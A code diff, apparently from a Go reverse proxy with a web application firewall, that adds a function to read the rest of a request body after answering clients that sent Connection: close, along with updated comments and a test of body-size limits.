||||||
|
send(t, conn, post+"Connection: close\r\n"+
|
||||||
|
announcedLength(2*questionBodyMaxBytes)+
|
||||||
|
strings.Repeat("x", questionBodyMaxBytes+1))
|
||||||
|
|
||||||
|
wantGreeting(t, readAnswer(t, conn))
|
||||||
|
}
|
||||||
|
|
||||||
func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -143,7 +283,7 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
|||||||
mayReachApp bool
|
mayReachApp bool
|
||||||
}{
|
}{
|
||||||
{"within the first part", "1K", 2 << 10, false},
|
{"within the first part", "1K", 2 << 10, false},
|
||||||
{"past the first part", "128K", 129 << 10, true},
|
{"past the first part", limitPastFirstPart, 129 << 10, true},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|||||||
@@ -38,6 +38,10 @@ const plainText = "text/plain; charset=utf-8"
|
|||||||
// and the visitor then gets a closed connection and no answer.
|
// and the visitor then gets a closed connection and no answer.
|
||||||
const minSendTime = 10 * time.Second
|
const minSendTime = 10 * time.Second
|
||||||
|
|
||||||
|
// maxBodyReadAfterAnswer is the most of a body left unread that Go's server
|
||||||
|
// reads once the handler returns, for a visitor without Connection: close.
|
||||||
|
const maxBodyReadAfterAnswer = 256 << 10
|
||||||
|
|
||||||
// errResponseTooLate refuses an app's answer that arrives once
|
// errResponseTooLate refuses an app's answer that arrives once
|
||||||
// SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
|
// SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
|
||||||
var errResponseTooLate = errors.New(
|
var errResponseTooLate = errors.New(
|
||||||
@@ -338,8 +342,8 @@ func (rq *request) answer(status int) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// A visitor found too slow is read no more; any other may go on sending until
|
// A visitor found too slow is read no more; any other may go on sending until
|
||||||
// its time is up, so that Go's server can read the rest of the body and end
|
// its time is up, so that the rest of the body is read and the request ends
|
||||||
// the request cleanly.
|
// cleanly: by Go's server, or by readRestOfBody.
|
||||||
deadline := rq.requestDeadline()
|
deadline := rq.requestDeadline()
|
||||||
if status == http.StatusRequestTimeout {
|
if status == http.StatusRequestTimeout {
|
||||||
deadline = time.Now()
|
deadline = time.Now()
|
||||||
@@ -523,10 +527,35 @@ func (rq *request) stopReadingBody(deadline time.Time) {
|
|||||||
_ = rq.rc.SetReadDeadline(deadline)
|
_ = rq.rc.SetReadDeadline(deadline)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// readRestOfBody reads up to 256 KiB of the rest of the body once the visitor
|
||||||
|
// has been answered with a Content-Length, until the read deadline already set on
|
||||||
|
// the connection. It does this only for a body with a declared length from a
|
||||||
|
// visitor that sent Connection: close, because Go's server reads none of that
|
||||||
|
// rest. Without the read, the visitor, still sending, gets a reset and may never
|
||||||
|
// read the answer. Go's server ends an answer without a Content-Length only once
|
||||||
|
// the handler returns, so reading first would hold back the end of that answer.
|
||||||
|
// Past 256 KiB, the MaxBytesReader made with Go's own ResponseWriter has Go's
|
||||||
|
// server tell the visitor it sends no more, then wait 500 ms before it closes
|
||||||
|
// the connection.
|
||||||
|
func (rq *request) readRestOfBody() {
|
||||||
|
if !rq.in.Close || rq.in.ContentLength <= 0 || rq.body.received.Load() ||
|
||||||
|
rq.out.Header().Get("Content-Length") == "" ||
|
||||||
|
rq.out.status == http.StatusSwitchingProtocols {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
rest := http.MaxBytesReader(
|
||||||
|
rq.out.ResponseWriter,
|
||||||
|
rq.in.Body,
|
||||||
|
maxBodyReadAfterAnswer,
|
||||||
|
)
|
||||||
|
_, _ = io.Copy(io.Discard, rest)
|
||||||
|
}
|
||||||
|
|
||||||
// stopPassingOnBody ends the transport's reading of a visitor's body that has
|
// stopPassingOnBody ends the transport's reading of a visitor's body that has
|
||||||
// not arrived whole, and lets Go's server read the rest until deadline. Go's
|
// not arrived whole, and lets Go's server, or readRestOfBody, read the rest until
|
||||||
// server reads it once the handler returns, but with no deadline at all if
|
// deadline. Go's server reads it once the handler returns, but with no deadline
|
||||||
// another read of it is still waiting.
|
// at all if another read of it is still waiting.
|
||||||
func (rq *request) stopPassingOnBody(deadline time.Time) {
|
func (rq *request) stopPassingOnBody(deadline time.Time) {
|
||||||
if rq.body == nil || rq.body.received.Load() {
|
if rq.body == nil || rq.body.received.Load() {
|
||||||
return
|
return
|
||||||
|
|||||||
@@ -169,6 +169,7 @@ func newWAFTransport() *http.Transport {
|
|||||||
// it writes the request's log line and sends its report.
|
// it writes the request's log line and sends its report.
|
||||||
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||||
rq := h.newRequest(w, r)
|
rq := h.newRequest(w, r)
|
||||||
|
defer rq.readRestOfBody()
|
||||||
defer rq.finish(r.Context())
|
defer rq.finish(r.Context())
|
||||||
|
|
||||||
if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {
|
if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {
|
||||||
|
|||||||
Reference in new issue
Block a user